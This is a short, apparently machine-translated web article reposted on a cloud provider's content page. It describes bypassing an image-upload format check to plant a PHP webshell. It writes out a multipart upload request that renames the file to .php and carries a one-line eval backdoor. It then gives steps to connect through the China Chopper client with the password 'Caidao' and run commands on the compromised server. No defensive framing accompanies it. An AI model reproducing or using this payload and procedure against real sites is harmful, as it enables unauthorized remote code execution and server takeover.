Bypass picture format limit upload Trojan get Webshell

Source: Internet
Author: User

Ideas:

In the image upload function, the front page uploads the image file in. png format, but the change picture suffix in the grab request is. php

can bypass the upload file format restrictions, the file upload path can be on the uploaded page or view after the upload successful response in the show,

after recording, use a kitchen knife to connect.

(1) Web site requires uploading files in PNG format

(2) Save-grab package, file suffix. png deleted, remaining. php file continues to submit, prompting for success.

Content-disposition:form-data; Name="Fun_menu_icon"test123trojan.php-----------------------------1962884403821Content-disposition:form-data; Name="Fun_menu_icon_upload"; Filename="test123trojan.php"Content-type:image/PNG<?php @eval ($_post['Caidao']);?>-----------------------------1962884403821Content-disposition:form-data; Name="fun_menu_img"test123trojan.php-----------------------------1962884403821Content-disposition:form-data; Name="Fun_menu_img_upload"; Filename="test123trojan.php"Content-type:image/PNG<?php @eval ($_post['Caidao']);?>

(3) Find the upload path and record in the response page after the original data submission page or after submitting the data.

(4) Open the latest version of Chinese kitchen knife, add the path that has been recorded, add password Caidao

(5) Connect the virtual terminal, enter ipconfig

   

Trojan successfully uploaded and executed.

Bypass picture format limit upload Trojan get Webshell

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.